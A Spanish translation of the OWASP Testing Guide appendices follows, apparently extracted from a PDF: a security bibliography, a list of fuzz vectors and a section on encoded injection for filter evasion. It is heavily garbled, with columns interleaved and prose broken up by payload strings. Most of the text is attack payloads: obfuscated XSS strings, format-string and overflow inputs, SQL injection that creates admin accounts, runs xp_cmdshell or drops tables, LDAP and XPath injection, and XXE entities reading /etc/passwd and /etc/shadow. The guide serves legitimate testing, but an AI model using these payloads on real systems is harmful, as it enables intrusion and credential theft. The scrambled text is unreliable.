• Secure Coding: Principles and Practices, by Mark Graff and Kenneth R. Van Wyk, published by O’Reilly, ISBN 0596002424 (2003): securecoding.org
• The Hacker’s Handbook: The Strategy behind Breaking into and Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications, ISBN: 0849308887 (2005)
• Secure Programming for Linux and Unix HOWTO, David Wheeler (2004): dwheeler.com
• + Versión online disponible en: books.google.com • + Versión online: dwheeler.com • Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent Liu, Caleb Sima, published by McGraw-Hill Osborne Media, ISBN 007222438X (2010): webhackingexposed.com
• Securing Java, by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999): securingjava.com
• The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus Pinto, ISBN 9781118026472 (2011)
• Software Security: Building Security In, by Gary McGraw, published by Addison-Wesley Professional, ISBN 0321356705 (2006)
• How to Break Software Security, by James Whittaker, Herbert H.
• Software Testing In The Real World (Acm Press Books) by Edward
Thompson, published by Addison Wesley, ISBN 0321194330 (2003) Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)
• How to Break Software: Functional and Security Testing of Web Applications and Web Services, by Make Andrews, James A. Whittaker, published by Pearson Education Inc., ISBN 0321369440 (2006)
• Software Testing Techniques, 2nd Edition, By Boris Beizer, International Thomson Computer Press, ISBN 9781593273880 The Tangled Web: A Guide to Securing Modern Web Applications, by Michael Zalewski, published by No Starch Press Inc., ISBN 047131952X (2011)
• Innocent Code: A Security Wake-Up Call for Web Programmers, by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004): innocentcode.thathost.com
• + Online version available at: books.google.com
• Mastering the Requirements Process, by Suzanne Robertson and
The Unified Modeling Language – A User Guide – by Grady Booch, James Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN 0321267974 (2005)
• The Unified Modeling Language User Guide, by Grady Booch, James Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN 0-201-57168-4 (1998) Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast, by Paco Hope, Ben Walther, published by O’Reilly, ISBN 0596514832 (2008)
James Robertson, published by Addison-Wesley Professional, ISBN 0201360462
• + Online version available at: books.google.com
• Writing Secure Code, by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2004): microsoft.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 339
• OWASP Appsec Tutorial Series: owasp.org Páginas Web útiles
• SecurityTube: securitytube.net
• Build Security In: buildsecurityin.us-cert.gov
• Videos by Imperva: imperva.com
• Build Security In - Security-Specific Bibliography: buildsecurityin.us-cert.gov
Aplicaciones Web deliberadamente inseguras
• CERT Secure Coding: cert.org
• OWASP Vulnerable Web Applications Directory Project: owasp.org
• CERT Secure Coding Standards: securecoding.cert.org
• BadStore: badstore.net
• Exploit and Vulnerability Databases: buildsecurityin.us-cert.gov
• Damn Vulnerable Web App: blog.dewhurstsecurity.com
• Google Code University - Web Security: developers.google.com • McAfee Foundstone Publications: mcafee.com
Hacme Series from McAfee:
• McAfee – Resources Library: mcafee.com
• + Hacme Travel: mcafee.com
• McAfee Free Tools: mcafee.com
• + Hacme Bank: mcafee.com
• OASIS Web Application Security (WAS) TC: oasis-open.org
• + Hacme Shipping: mcafee.com
• Open Source Software Testing Tools: opensourcetesting.org
• + Hacme Casino: mcafee.com
• OWASP Security Blitz: owasp.org
• + Hacme Books: mcafee.com
• OWASP Phoenix/Tool: owasp.org • SANS Internet Storm Center (ISC): isc.sans.edu
• Moth: bonsai-sec.com
• The Open Web Application Application Security Project (OWASP:
• Mutillidae: irongeek.com
owasp.org
• Stanford SecuriBench: suif.stanford.edu
• Pentestmonkey - Pen Testing Cheat Sheets: pentestmonkey.net
• Vicnum: vicnum.sourceforge.net and owasp.org
• Secure Coding Guidelines for the .NET Framework 4.5:
• WebGoat: owasp.org
msdn.microsoft.com
• WebMaven (better known as Buggy Bank): mavensecurity.com
• Security in the Java platform: docs.oracle.com • System Administration, Networking, and Security Institute (SANS):
Guía de pruebas de OWASP Apéndice C: Vectores Fuzz
sans.org
Los siguientes son vectores fuzzing que se pueden utilizar con WebScarab, JBroFuzz, WSFuzzer, ZAP u otro fuzzer. Fuzzing es el enfoque del "fregadero de la cocina" en inglés: "kitchen sink" para probar la respuesta de una aplicación al parámetro manipulación. En general, se buscan condiciones de error que se generan en una aplicación como resultado de fuzzing. Esta es la parte sencilla de la fase de descubrimiento. Una vez que el error ha sido descubierto, se requiere habilidad para identificar y explotar una vulnerabilidad potencial.
• Technical INFO - Making Sense of Security: technicalinfo.net • Web Application Security Consortium: webappsec.org • Web Application Security Scanner List : projects.webappsec.org • Web Security - Articles: acunetix.com
Categorías fuzz Videos
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 340
En el caso de protocolo de red sin estado fuzzing (como HTTP (S)), existen dos grandes categorías: El resto de este apéndice presenta una serie de categorías de vectores fuzz. • Recursive fuzzing (ocultamiento recursivo) • Replacive fuzzing (Ocultamiento por reemplazo)
Cross Site Scripting (XSS) Para detalles en XSS: Cross-site Scripting (XSS)
Examinamos y definimos cada categoría en las subsecciones que siguen.
>”><script>alert(“XSS”)</script>& “><STYLE>@import”javascript:alert(‘XSS’)”;</STYLE>
Ocultamiento recursivo El ocultamiento recursivo se puede definir como el proceso de difuminar una parte de una solicitud por iteración, a través de todas las posibles combinaciones de un sistema alfabético. Consideremos el caso de: http://www.example.com/8302fa3b
>”’><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26 %23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26 %23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26qu ot;)>
Al seleccionar "8302fa3b" como una parte de la solicitud para ser difuminada contra el sistema alfabético hexadecimal (es decir, {0,1,2,3,4,5,6,7,8,9, a, b, c, d, e , f}), cae bajo la categoría de ocultamiento recursivo. Esto generaría un total de 16 ^ 8 solicitudes de la forma:
>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
http://www.example.com/00000000
“>
...
>”
http://www.example.com/11000fff
‘’;!--”<XSS>=&{()}
...
<IMG SRC=”javascript:alert(‘XSS’);”>
‘%uff1cscript%uff1ealert(‘XSS’)%uff1c/script%uff1e’
<IMG SRC=javascript:alert(‘XSS’)> Ocultamiento por reemplazo
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
El ocultamiento por reemplazo se puede definir como el proceso de difuminar parte de una solicitud al reemplazarla por un valor establecido. Este valor se conoce como vector fuzz. En el caso de:
<IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)> <IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&# 112;&<WBR>#116;&#58;&#97;
http://www.example.com/8302fa3b
La realización de pruebas de Cross Site Scripting (XSS) mediante el envío de los siguientes vectores fuzz: http://www.example.com/>”><script>alert(“XSS”)</script>&
&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;& #39;&#41> <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115 &<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0 000058
http://www.example.com/’’;!--”<XSS>=&{()}
Esta es una forma de ocultamiento por reemplazo. En esta categoría, el número total de solicitudes depende del número de vectores fuzz especificados.
&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0 000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#00000 39&#0000041>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 341
<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x 70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28
envuelven el suministro de lenguaje de formato específico de fichas, para ejecutar códigos arbitrarios o inhabilitar un programa. Fuzzing para este tipo de errores tiene como objetivo comprobar la entrada del usuario sin filtrar.
&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC=”jav&#x09;ascript:alert(<WBR>’XSS’);”>
Una excelente introducción a través de FSE se puede encontrar en el documento titulado USENIX: Detección de formato de cadena de vulnerabilidades con Tipo Calificadores.
<IMG SRC=”jav&#x0A;ascript:alert(<WBR>’XSS’);”> <IMG SRC=”jav&#x0D;ascript:alert(<WBR>’XSS’);”>
Desbordamiento de búfer y de error de formato de cadena
Tenga en cuenta que el intento de cargar un archivo de definición de este tipo dentro de una aplicación fuzzer puede potencialmente causar que la aplicación se bloquee %s%p%x%d
Buffer Overflows (BFO) (desbordamiento de búfer) Un desbordamiento de memoria o un ataque de corrupción de memoria es una condición de programación que permite el desbordamiento de datos válidos, más allá de su límite de almacenamiento preubicado en la memoria.
.1024d %.2049d %p%p%p%p %x%x%x%x
Para más detalles sobre los desbordamientos de memoria: Pruebas de desbordamiento del búfer
%d%d%d%d %s%s%s%s
Tenga en cuenta que el intento de cargar un archivo de definición de este tipo dentro de una aplicación fuzzer puede potencialmente causar que la aplicación se bloquee.
%99999999999s %08x %%20d
A x5 %%20n A x 17 %%20x A x 33 %%20s A x 65 %s%s%s%s%s%s%s%s%s%s A x 129 %p%p%p%p%p%p%p%p%p%p A x 257 A x 513
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f% a%C%S%08x%%
A x 1024
%s x 129
A x 2049 A x 4097
Desbordamientos de números enteros (INT)
A x 8193
Los errores de desbordamiento de números enteros se producen cuando un programa no tiene en cuenta el hecho de que una operación aritmética puede resultar en una cantidad ya sea mayor que el valor máximo de un tipo de datos o menor de su valor mínimo. Si un evaluador puede hacer que el programa realice tal asignación de la memoria, el programa puede ser potencialmente vulnerable a un ataque de desbordamiento de búfer.
A x 12288 Errores de cadenas de formato (FSE) Los ataques por cadenas de formato son una clase de vulnerabilidades que
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 342
(||6) -1
‘ OR 1=1--
0
OR 1=1
0x100
‘ OR ‘1’=’1
0x1000
; OR ‘1’=’1’
0x3fffffff
%22+or+isnull%281%2F0%29+%2F*
0x7ffffffe
%27+OR+%277659%27%3D%277659
0x7fffffff
%22+or+isnull%281%2F0%29+%2F*
0x80000000
%27+--+
0xfffffffe
‘ or 1=1--
0xffffffff
“ or 1=1--
0x10000
‘ or 1=1 /*
0x100000
or 1=1--
Inyección SQL
‘ or ‘a’=’a
Este ataque puede afectar a la capa de base de datos de una aplicación y normalmente está presente cuando la entrada del usuario no está filtrada para declaraciones SQL.
“ or “a”=”a ‘) or (‘a’=’a Admin’ OR ‘
Para más detalles sobre Pruebas de inyección de SQL: Pruebasde inyección SQL
‘%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES-) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
La inyección SQL se clasifica en las siguientes dos categorías, dependiendo de la exposición de la información de base de datos (pasiva) o de la alteración de la información de base de datos (activa): ‘ having 1=1-‘ having 1=1-• Inyección S L Pasiva (Passive SQL Injection) ‘ group by userid having 1=1-• Inyección S L Activa ( Active S L Injection) ‘ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename’)-Las declaraciones de inyección SQL activas pueden tener un efecto perjudicial en la base de datos subyacente si se ejecutan con éxito.
‘ or 1 in (select @@version)-‘ union all select @@version-‘ OR ‘unusual’ = ‘unusual’
Inyección SQL Pasiva (SQP) ‘ OR ‘something’ = ‘some’+’thing’ ‘||(elt(-3+5,bin(15),ord(10),hex(char(45)))) ‘ OR ‘text’ = N’text’ ||6 ‘ OR ‘something’ like ‘some%’ ‘||’6 ‘ OR 2 > 1
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 343
‘ OR ‘text’ > ‘t’
exec sp_addsrvrolemember ‘name’ , ‘sysadmin’
‘ OR ‘whatever’ in (‘whatever’)
INSERT INTO mysql.user (user, host, password) VALUES (‘name’, ‘localhost’, PASSWORD(‘pass123’))
‘ OR 2 BETWEEN 1 and 3 GRANT CONNECT TO name; GRANT RESOURCE TO name; ‘ or username like char(37); ‘ union select * from users where login = char(114,111,111,116);
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
‘ union select
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
Password:*/=1-UNI/**/ON SEL/**/ECT
Inyección LDAP
‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’
para detalles de la inyección LDAP: Prueba de inyección LDAP
‘; EXEC (‘SEL’ + ‘ECT US’ + ‘ER’)
|
‘/**/OR/**/1/**/=/**/1
!
‘ or 1/*
(
+or+isnull%281%2F0%29+%2F*
)
%27+OR+%277659%27%3D%277659
%28
%22+or+isnull%281%2F0%29+%2F*
%29
%27+--+&password=
&
‘; begin declare @var varchar(8000) set @var=’:’ @var=@var+’+login+’/’+password+’ ‘ from users where login >
select
%26 %21
@var select @var as var into temp end -%7C *| ‘ and 1 in (select var from temp)-%2A%7C ‘ union select 1,load_file(‘/etc/passwd’),1,1,1; *(|(mail=*)) 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; %2A%28%7C%28mail%3D%2A%29%29 ‘ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 Inyección SQL Activa (SQI) *()|%26’ ‘; exec master..xp_cmdshell ‘ping 10.10.1.2’-admin* CREATE USER name IDENTIFIED BY ‘pass123’ admin*)((|userPassword=*) CREATE USER name IDENTIFIED BY pass123 TABLESPACE temp DEFAULT TABLESPACE users;
TEMPORARY *)(uid=*))(|(uid=*
‘ ; drop table temp -exec sp_addlogin ‘name’ , ‘password’
Inyección XPATH
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 344
Para detalles de la Inyección XPATH: Prueba de inyección XPath ‘+or+’1’=’1 ‘+or+’’=’ x’+or+1=1+or+’x’=’y
otra lengua conocida) en bytes. Un ejemplo de un esquema de codificación de caracteres utilizado es el Código Estándar Americano para Intercambio de Información (ASCII) que utilizó inicialmente códigos de 7 bits. Ejemplos más recientes de los esquemas de codificación serían las normas estándar Unicode UTF-8 y UTF-16 de la industria de computación.
/ // //* */*
En el espacio de seguridad de la aplicación, y debido a la gran cantidad de esquemas de codificación disponibles, la codificación de caracteres tiene un mal uso popular. Está siendo utilizada para la codificación de secuencias de inyección maliciosas en una manera que las ofusca. Esto puede conducir a la desviación del ingreso de filtros de validación, o a sacar ventaja de las formas particulares en que los navegadores muestran el texto codificado.
@* count(/child::node()) x’+or+name()=’username’+or+’x’=’y
Inyección XML Los detalles de la Inyección XML están aquí: Prueba de inyección XML <![CDATA[<script>var n=0;while(true){n++;}</script>]]> <?xml version=”1.0” encoding=”ISO-88591”?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(‘gotcha’);<![CDATA[< ]]>/SCRIPT<![CDATA[>]]></foo> <?xml version=”1.0” encoding=”ISO-8859-1”?><foo><![CDATA[‘ or 1=1 or ‘’=’]]></foof> <?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file://c:/boot.ini”>]><foo>&xee;</foo> <?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///etc/passwd”>]><foo>&xee;</foo>
Codificación de entrada - Evasión de filtro Las aplicaciones web suelen emplear diferentes tipos de mecanismos de filtro de entrada para limitar las entradas que pueden ser enviadas por el usuario. Si estos filtros de entrada no se aplican lo suficientemente bien, es posible deslizar uno o dos caracteres a través de estos filtros. Por ejemplo, a / puede ser representado como 2F (hex) en ASCII, mientras que el mismo carácter (/) se codifica como C0 AF en Unicode (secuencia 2 byte). Por lo tanto, es importante que el filtrado de control de entrada tenga en cuenta el esquema de codificación utilizado. Si se encuentra que el filtro está detectando sólo inyecciones codificadas UTF-8, se puede emplear un esquema de codificación diferente para evitar este filtro. Codificación de salida - Servidor y Navegador de Consenso Los navegadores web deben estar conscientes del esquema de codificación utilizado para mostrar coherentemente una página web. Idealmente, esta información debe ser proporcionada al navegador en el encabezado HTTP ("Content-Type"), como se muestra a continuación: Content-Type: text/html; charset=UTF-8
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///etc/shadow”>]><foo>&xee;</foo>
o a través de la etiqueta HTML META (“META HTTP-E UIV”), como se muestra a continuación:
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///dev/random”>]><foo>&xee;</foo>
<META http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1”>
Guía de pruebas de OWASP Apéndice D: Inyección codificada
Es a través de estas declaraciones de codificación de caracteres que el navegador comprende qué conjunto de caracteres utilizar para convertir los bytes a caracteres. Tenga en cuenta que el tipo de contenido mencionado en el encabezado HTTP tiene prioridad sobre la declaración de etiqueta META.
Antecedentes La codificación de caracteres es el proceso de mapeado de caracteres, números y otros símbolos a un formato estándar. Típicamente, esto se hace para crear un mensaje listo para su transmisión entre el emisor y el receptor. En términos simples, es la conversión de caracteres (que pertenecen a diferentes idiomas como el inglés, chino, griego o cualquier
CERT lo describe aquí de la siguiente forma: Muchas páginas web dejan la codificación de caracteres (parámetro "charset" en HTTP) como no definida. En versiones anteriores de HTML y
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 345
HTTP, se suponía que la codificación de caracteres era por defecto a la norma ISO-8859-1 si no se definía. De hecho, muchos navegadores tenían un valor predeterminado diferente, por lo que no era posible confiar en el valor por defecto si era ISO-8859-1. La versión 4 HTML legitima esto - si no se especifica la codificación de caracteres, cualquier codificación de caracteres puede ser utilizada.
Si el servidor web no especifica qué codificación de caracteres está en uso, no puede decir qué caracteres no especificados son especiales. Las páginas web con caracteres no especificados codifican la mayor parte del tiempo, porque la mayoría de los grupos de caracteres asignan los mismos caracteres a los valores de bytes por debajo de 128. Pero, ¿cuál de los valores por encima de 128 son especiales? Algunos esquemas de codificación de caracteres de 16 bits tienen representaciones de varios bytes adicionales para caracteres especiales como "<". Algunos navegadores reconocen esta codificación alternativa y actúan en consecuencia. Este es un comportamiento "correcto", pero hace que los ataques maliciosos mediante secuencias de comandos sean mucho más difíciles de prevenir. El servidor simplemente no sabe qué secuencias de bytes representan los caracteres especiales
Por lo tanto, en caso de no recibir información del carácter codificado desde el servidor, el navegador puede intentar "adivinar" el esquema de codificación o volver a un esquema predeterminado. En algunos casos, el usuario establece explícitamente la codificación por defecto en el navegador a un esquema diferente. Cualquier discrepancia o no coincidencia en el esquema de codificación utilizado por la página web (servidor) y el navegador, puede hacer que el navegador interprete la página de una manera inesperada o no deseada.
Inyecciones codificadas Todos los escenarios dados a continuación forman solamente un subconjunto de la ofuscación de las diversas maneras que se pueden dar para eludir los filtros de entrada. Además, el éxito de las inyecciones codificadas depende del navegador en uso. Por ejemplo, las inyecciones US-ASCII fueron previamente codificadas con éxito sólo en el navegador IE, pero no en Firefox. Por lo tanto, puede observarse que las inyecciones codificadas, en gran medida, dependen del navegador.
<IMG SRC=javascript:alert(&#34 ;XSS&#34 ;)> (Numeric reference)
Lo anterior utiliza entidades HTML para construir la cadena de inyección. La codificación de entidades HTML se utiliza para mostrar los caracteres que tienen un significado especial en HTML. Por ejemplo, '>' funciona como un paréntesis de cierre para una etiqueta HTML. Con el fin de mostrar en realidad este carácter en la página web de las entidades de caracteres HTML, éste debe ser insertado en la página del origen. Las inyecciones mencionadas anteriormente son una forma de codificación. Hay muchas otras formas en las que una cadena se puede codificar (ofuscar) con el fin de eludir el filtro anterior.
Codificación Hex Hex, abreviatura de hexadecimal, es un sistema de numeración en base a 16, es decir, que tiene 16 valores diferentes de 0 a 9 y de A a F para representar diversos caracteres. La codificación hexadecimal es otra forma de ofuscación que a veces se utiliza para eludir los filtros de validación de entrada. Por ejemplo, la versión hexagonal codificada de la cadena <img src = javascript: alert ( 'XSS')> es
<IMG SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74 %28%27%58%53%53%27%29>
Una variación de la cadena anterior es la siguiente. Puede ser utilizada en caso de que '%' esté siendo filtrada: <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3 A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&# x29>
Hay otros esquemas de codificación tales como Base64 y Octal que pueden ser utilizados para la ofuscación.
Codificación básica Considere un filtro básico de validación de entrada que protege contra la inyección de carácter de comilla simple. En este caso, la inyección que está a continuación evitaría fácilmente este filtro:
Aunque cada esquema de codificación no puede trabajar cada vez, un poco de ensayo y error, junto con manipulaciones inteligentes, sin duda revelarán la brecha en un filtro de validación de entrada que haya sido débilmente construido.
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> La función String.fromCharCode Javascript toma los valores Unicode dados y devuelve la cadena correspondiente. Ésta es una de las formas más básicas de las inyecciones codificadas. Otro vector que puede ser utilizado para eludir este filtro es:
La codificación UTF-7 La codificación UTF-7 de <script> alert ( 'XSS'); </ script> es la siguienteUTF-7 Encoding
<IMG SRC=javascript:alert(&quot ;XSS&quot ;)>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 346
+ADw-SCRIPT+AD4-alert(‘XSS’);+ADw-/SCRIPT+AD4-
Para trabajar con la secuencia anterior de comandos, el navegador tiene que interpretar la página web como codificada en UTF-7.
Codificación Multi-byte La codificación de anchura variable es otro tipo de esquema de codificación de caracteres, que utiliza códigos de duración variable para codificar caracteres. La codificación de varios bytes es un tipo de anchura variable de codificación que utiliza un número variable de bytes para representar un carácter. La codificación multibyte se utiliza principalmente para codificar los caracteres que pertenecen a un gran conjunto de caracteres, por ejemplo, chino, japonés y coreano.
La codificación multibyte se ha utilizado en el pasado para eludir las funciones de validación de entrada estándar y para llevar a cabo este tipo de ataque y los ataques de inyección SQL.
Referencias
• http://en.wikipedia.org/wiki/Encode_(semiotics) • http://ha.ckers.org/xss.html • http://www.cert.org/tech_tips/malicious_code_mitigation.html • http://www.w3schools.com/HTML/html_entities.asp • http://www.iss.net/security_center/advice/Intrusions/ 2000639/default.htm • http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14_gci1212217_tax299989,00.html • http://www.joelonsoftware.com/articles/Unicode.html
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 347